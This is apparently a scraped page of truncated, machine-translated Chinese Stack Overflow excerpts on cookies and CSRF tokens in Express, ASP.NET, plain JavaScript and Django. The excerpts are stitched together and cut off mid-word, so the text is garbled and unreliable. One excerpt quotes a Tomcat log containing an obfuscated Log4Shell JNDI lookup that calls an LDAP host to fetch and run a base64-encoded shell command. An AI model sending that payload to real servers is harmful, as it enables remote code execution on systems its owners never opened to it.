我已经在express/node.js中创建了一个cookie
var express = require('express');
var cookieParser = require('cookie-parser')
var app = express();
app.use(cookieParser())
app.use(function (req, res, next) {
// check if client sent cookie
var cookie = req.cookies.mainCookie;
if (cookie === un
防止CSRF的一个常见模式是让服务器使用随机令牌以表单形式生成隐藏的输入。然后,服务器希望在表单提交时看到此令牌。
另一个常见的模式是模式。在本例中,令牌被放置在cookie中(没有HttpOnly),并且预期该令牌来自cookie和标头中的未来请求。页面上的Javascript将处理这一问题。这种方法的一个优点是服务器不必保持状态。另一个是GET也是安全的(当然,GET应该无论如何不改变状态)。
通常,您选择一个或另一个取决于您的网站是否是SPA。但是,为什么不总是在cookie中发送令牌,并期望它在标头和cookie中,或者在表单和cookie中返回?前一种情况将与上面的cookie- T
由Daniel .回答
My mistake was that I was calling a HTTP server endpoint instead of it's HTTPS version.
其他的问题涉及到相同的主题,但这个问题在所有尝试之后都没有得到解决。
我的问题:
我无法从我的第二个JS客户端登录:
工作良好(存在set- cookie标头,cookie是set)不工作(SET-COOKIE标头存在但cookie未设置)
登录端点:
响应头:
Set-Cookie: .AspNetCore.Cookies=SomeCookieHere; expires=Sun
来自Tomcat9 catalina日志:
org.apache.tomcat.util.http.parser.Cookie.logInvalidHeader A cookie
header was received [('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-
l}dap${env:BARFOO:-:}//ip:1389/TomcatBypass/Command/Base64/Y2QgL3
RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC
我尝试传递一个变量,该变量在JS中存储cookie名称,写入cookie时会存储正确的值,但当传递给函数以读取cookie时,它会返回undefined,并将Cookie值作为NULL返回。这是一个大学项目,我从这个网站上的代码示例开始工作
function WriteCookie(cname, username) {
//Cookies variables
var cname = 'user';
var username = document.getElementById("username").value;
//check if the
在django网站上,声明:
The CSRF protection is based on the following things:
1. A CSRF cookie that is set to a random value (a session independent nonce, as it is called), which other sites will not have access to.
2. ...
然后,它还声明可以通过javascript从cookie获得csrf令牌:
var csrftoken = $.cookie('csrftoken');